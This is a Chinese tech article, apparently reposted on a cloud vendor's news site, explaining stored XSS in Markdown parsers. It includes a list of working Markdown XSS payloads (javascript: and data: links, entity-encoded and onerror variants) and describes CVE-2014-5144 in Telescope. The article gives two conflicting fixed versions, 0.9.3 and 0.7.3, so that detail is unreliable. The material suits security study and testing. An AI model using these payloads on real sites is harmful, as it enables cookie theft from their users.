溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何分析Markdown解析器的持久型XSS漏洞

發(fā)布時間:2021-11-09 17:23:40 來源:億速云 閱讀:563 作者:柒染 欄目:安全技術

如何分析Markdown解析器的持久型XSS漏洞,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。

什么是Markdown?

Markdown是一種輕量級的標記語言,流行程度已經(jīng)得到了GitHub和Stack Overflow的廣泛支持,作為普通人我們也可以輕松上手。

用markdown來寫文章非常贊,那些瑣碎的HTML標簽都可以拋到腦后不用管。最近5年內(nèi),markdown收到非常多的關注,包括Reddit,Github,StackOverflow在內(nèi)的很多應用都使用 markdown這也催生了很多的markdown解析器的產(chǎn)生,這里定義了一些markdown語法,語法約定markdown解析器將這些標簽解析為html標簽。

如何分析Markdown解析器的持久型XSS漏洞

Markdown安全現(xiàn)狀

Markdown解析器的安全現(xiàn)狀如何?有沒有對用戶輸入的數(shù)據(jù)做過濾?

事實上,很多markdown解析器都沒有過濾用戶輸入的數(shù)據(jù),那么如果markdown被用于添加用戶評論等功能的時候,就有可能存在安全風險。

這里有一些關于這個問題的討論:[1], [2], [3].

另外,如果用googe搜索一下:

markdown xss issue site:github.com

如何分析Markdown解析器的持久型XSS漏洞

你就會發(fā)現(xiàn)github上又很多***很高的項目都被發(fā)現(xiàn)存在XSS 漏洞。

所以,如何構造一些payload呢?看下面這些:

[a](javascript:prompt(document.cookie))
[a](j    a   v   a   s   c   r   i   p   t:prompt(document.cookie))
![a](javascript:prompt(document.cookie))\
<javascript:prompt(document.cookie)> 
<&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>  
![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29)
![a&#039;"`onerror=prompt(document.cookie)](x)\
[citelol]: (javascript:prompt(document.cookie))
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[test](javascript://%0d%0aprompt(1))
[test](javascript://%0d%0aprompt(1);com)

上面這些payload是由Aleksa和原文作者一起搞出來的。在過去的12個月內(nèi),在實際滲透測試中證明,上面的這些 payload 是有效的。并且很多 markdown 解析器都受到影響。來看一下***一個payload:

[test](javascript://%0d%0aprompt(1);com)

我們猜測,markdown 解析器可能通過如下幾個步驟來進行解析&轉(zhuǎn)換:

判斷時候有協(xié)議頭?//有javascript 偽協(xié)議,Y

hostname 是以常見的域名后綴(com, org)結(jié)尾的?//是的,以 com 結(jié)尾 Y

將上述 payload 轉(zhuǎn)換為 HTML 標簽,//結(jié)果如下

<a href="javascript://%0d%0aprompt(1);com>test</a>

成功構造了一個XSS payload!當點擊了上述鏈接后,就會觸發(fā)XSS!

Telescope解析器一個持久性 XSS 漏洞(CVE-2014-5144)

Telescope是一個有名的開源項目,類似Reddit和Hackernews一樣,提供一個社區(qū)功能。Telescope的一個解析帖子&評論的功能存在 XSS 漏洞,并且這個功能存在很久了!

在0.9.3之前的版本中,以上面的 payload 列表中的 payload 發(fā)帖或者發(fā)表評論,就可以導致一個XSS漏洞。該漏洞已經(jīng)修復,Telescope在這里發(fā)了changelog:http://www.telesc.pe/blog/telescope-v093-dailyscope/

下面是漏洞對應的payload:

[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)

如何分析Markdown解析器的持久型XSS漏洞

如何分析Markdown解析器的持久型XSS漏洞

注意:上述漏洞已經(jīng)在Telescope >= 0.7.3版本中修復了。

看完上述內(nèi)容是否對您有幫助呢?如果還想對相關知識有進一步的了解或閱讀更多相關文章,請關注億速云行業(yè)資訊頻道,感謝您對億速云的支持。

向AI問一下細節(jié)

免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權內(nèi)容。

AI